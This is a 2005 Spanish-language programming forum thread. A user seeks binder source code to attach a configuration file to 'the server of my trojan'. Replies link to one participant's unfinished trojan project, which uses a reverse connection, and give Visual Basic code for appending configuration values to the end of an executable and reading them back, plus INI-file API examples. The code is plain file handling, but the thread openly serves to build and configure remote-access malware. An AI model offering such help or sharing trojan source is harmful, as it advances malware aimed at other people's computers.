Binder

Iniciado por Thaorius, 3 Octubre 2005, 04:54 AM

0 Miembros y 1 Visitante están viendo este tema.

Thaorius

Hola gente!

Bueno, llevo como 2 horas buscando el codigo fuente de un buen binder. Hasta ahora todos y si, dije todos al ejecutar el fichero me dice que es demasiado grande apra abrir en memoria. Aunque yo solo junte 2 archivitos minimos.

No saben de donde puedo bajar alguno bueno?(codigo fuente)

Lo quiero para combinar un archivo ini con un exe, o sea el server de mi troyano y sus opciones de configuracion.

Saludos
Si te sirvio mi aporte, encontrarás más en www.teoxstudios.com. Gracias!
Buscando un buen hosting? Click aquí

xavierote

Más limpio pero no más sencillo sería guardar la configuración de tu server en el mismo server. Me explico:
puedes guardar valores en el propio ejecutable siempre y cuando no modifique el archivo, es decir, al final del archivo. Luego, simplemente habría que leerlos con un
open "archivo" for binary as #1, por ejemplo.

Si no sabes como hacerlo, el troyano incompleto que hice que publiqué en el foro hace algún tiempo, en el servidor guarda los valores de configuración, como la ip y el puerto que se va a conectar con una conexión inversa.

Link de descarga:
http://dl1.rapidshare.de/files/3092209/41685679/Proyecto_BaNTRoJaN.rar

Saludos!!

Thaorius

Thanks!

Ahoralo miro y te cuento.

Saludos
Si te sirvio mi aporte, encontrarás más en www.teoxstudios.com. Gracias!
Buscando un buen hosting? Click aquí

Thaorius

Estoy veindo tu codigo, hasta ahora no le pillo la vuelta fuera de que el server no anda con el genredaor :P

Saludos
Si te sirvio mi aporte, encontrarás más en www.teoxstudios.com. Gracias!
Buscando un buen hosting? Click aquí

NYlOn

Investiga que hay muchos posts q hablan sobre el tema... es facil cuando le agarras la mano ;)

un salud0

G0nz4

xavierote

Si no te va el generador de server será porque no tienes el servidor compilado en la misma carpeta del cliente.

De todas formas, te pongo un ejemplo de como guardar y cargar variables de un ejecutable que te acabo de hacer.

Primero de todo tienes que crear en un formulario 3 cuadros de texto y 2 botones, uno para guardar y otro para cargar.
Para ver como funciona te recomiendo que utilices un editor hexadecimal una vez guardado el archivo.

NOTA: No utilices espacios, porque no lo he programado para que tenga espacios, aunque es fácil modificarlo.
También utiliza una ruta correcta, ya que lo que hará si no existe el archivo será crear uno nuevo.

Guardar variables:
Private Function GuardarVariables(NombreArchivo As String)
   Dim foo                 As Integer         'Número archivo
   Dim Texto1(99)          As String          'Reservamos 100 espacios para el Text1
   Dim Texto2(99)          As String          'Reservamos 100 espacios para el Text2
   Dim Texto3(99)          As String          'Reservamos 100 espacios para el Text3.
   Dim PosicionActual      As Long            'Variable que utilizaremos para saber cuál es la posición actual.
   Dim i                   As Integer
   
   foo = FreeFile                             'Proporciona un número de archivo libre.
   
   For i = 0 To Len(Text1)
       Texto1(i) = Mid$(Text1.Text, i + 1, 1)
   Next i
   
   For i = 0 To Len(Text2)
       Texto2(i) = Mid$(Text2.Text, i + 1, 1)
   Next i
   
   For i = 0 To Len(Text3)
       Texto3(i) = Mid$(Text3.Text, i + 1, 1)
   Next i
   
   Open NombreArchivo For Binary As #foo                   'Abre el archivo <NombreArchivo> para acceder en modo binario.
       PosicionActual = LOF(foo)                           'Obtiene el tamaño del archivo en bytes para obtener el primer byte vacío.
       
       For i = 0 To 99                                     '|
           PosicionActual = PosicionActual + 1             '| Posicion actual, cuando i = 0, obtiene el primer valor libre
           If Texto1(i) = "" Then                          '| Si la varible texto1 está vacía
               Put #foo, PosicionActual, 0                 '| Guarda en el archivo un valor 0
           Else                                            '|
               Put #foo, PosicionActual, Asc(Texto1(i))    '| Si no está vacía la variable guarda en valor ascii la letra del texto correspondiente.
           End If
       Next i
       
       'Se repite para la matriz Texto2
       For i = 0 To 99
           PosicionActual = PosicionActual + 1
           If Texto2(i) = "" Then
               Put #foo, PosicionActual, 0
           Else
               Put #foo, PosicionActual, Asc(Texto2(i))
           End If
       Next i
       
       'Se repite para la matriz Texto3
       For i = 0 To 99
           PosicionActual = PosicionActual + 1
           If Texto3(i) = "" Then
               Put #foo, PosicionActual, 0
           Else
               Put #foo, PosicionActual, Asc(Texto3(i))
           End If
           If i = 99 Then
               Stop
           End If
       Next i
   Close #foo
End Function


Cargar variables:
Private Function CargarVariables(NombreArchivo As String)
   Dim foo                 As Integer
   Dim Obteniendo          As Byte
   Dim Texto               As String
   Dim TamañoArchivo       As Long
   Dim PosicionActual      As Long
   Dim i                   As Integer
   
   foo = FreeFile
   
   Open NombreArchivo For Binary As #foo
       TamañoArchivo = LOF(foo)
       PosicionActual = TamañoArchivo - 300               'Se le resta 300 al tamaño del archivo por ser el resultado de la suma de los espacios reservados anteriormente
       
       For i = 0 To 99
           Get #foo, PosicionActual, Obteniendo
           If Obteniendo <> 0 Then
               Texto = Texto & Chr$(Obteniendo)
               PosicionActual = PosicionActual + 1
           Else
               PosicionActual = PosicionActual + (100 - Len(Texto))
               Exit For
           End If
       Next i
       
       Text1.Text = Texto
       Texto = ""
       
       For i = 0 To 99
           Get #foo, PosicionActual, Obteniendo
           If Obteniendo <> 0 Then
               Texto = Texto & Chr$(Obteniendo)
               PosicionActual = PosicionActual + 1
           Else
               PosicionActual = PosicionActual + (100 - Len(Texto))
               Exit For
           End If
       Next i
       
       Text2.Text = Texto
       Texto = ""
       
       For i = 0 To 99
           Get #foo, PosicionActual, Obteniendo
           If Obteniendo <> 0 Then
               Texto = Texto & Chr$(Obteniendo)
               PosicionActual = PosicionActual + 1
           Else
               Exit For
           End If
       Next i
       
       Text3.Text = Texto
   Close #foo
End Function


Botones:
Private Sub Command1_Click()
   GuardarVariables "archivo.exe"
End Sub

Private Sub Command2_Click()
   CargarVariables "archivo.exe"
End Sub

la caca

#6
el ejemplo que dieron anteriormente es para cargar variables, datos de cualquier formato de archivo (en el ejemplo *.exe-->archivo.exe), bueno el ejemplo que te traigo es para cargar datos de un archivo *.ini, que carga los datos teniendo en cuenta los [] bueno leelo:


Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long

'Leer en "Ejemplo.Ini":
Private Sub Form_Load()
    Dim I As Integer
    Dim Est As String
    Est = String$(50, " ")
    I = GetPrivateProfileString("Ejemplo", "Nombre", "", Est, Len(Est), "Ejemplo.ini")
    If I > 0 Then
        MsgBox "Tu Nombre es: " & Est
    End If
End Sub
'Escribir en "Prueba.Ini":
Private Sub Form_Unload(Cancel As Integer)
    Dim I As Integer
    Dim Est As String
    Est = "Ejemplo - Apartado"
    I = WritePrivateProfileString("Ejemplo", "Nombre", Est, "Ejemplo.ini")
End Sub




chau, le podes agregar todas las variables que quieras
algo huele mal.... firma "LA CACA"


NYlOn

#7
Usa las etiquetas de codigo para insertar un codigo... sino no se entiende un ch*** xDDD

salu2

xavierote

#8
El caso es que M@rT1n sabe perfectamente como guardar la configuración en un ini, por eso pide un binder. Pero yo le he dado otra opción más limpia, ya que no necesita una utilidad externa para guardar la configuración en el propio ejecutable.
Aunque no siempre está de más recordar funciones útiles para los que no las conozcan.

Saludos!!

Thaorius

Weno, gracias. Lo pruebo.

Respecto a los INI's, si tengo un modul ocon muchas funciones para trabajar con ellos.

Saludos
Si te sirvio mi aporte, encontrarás más en www.teoxstudios.com. Gracias!
Buscando un buen hosting? Click aquí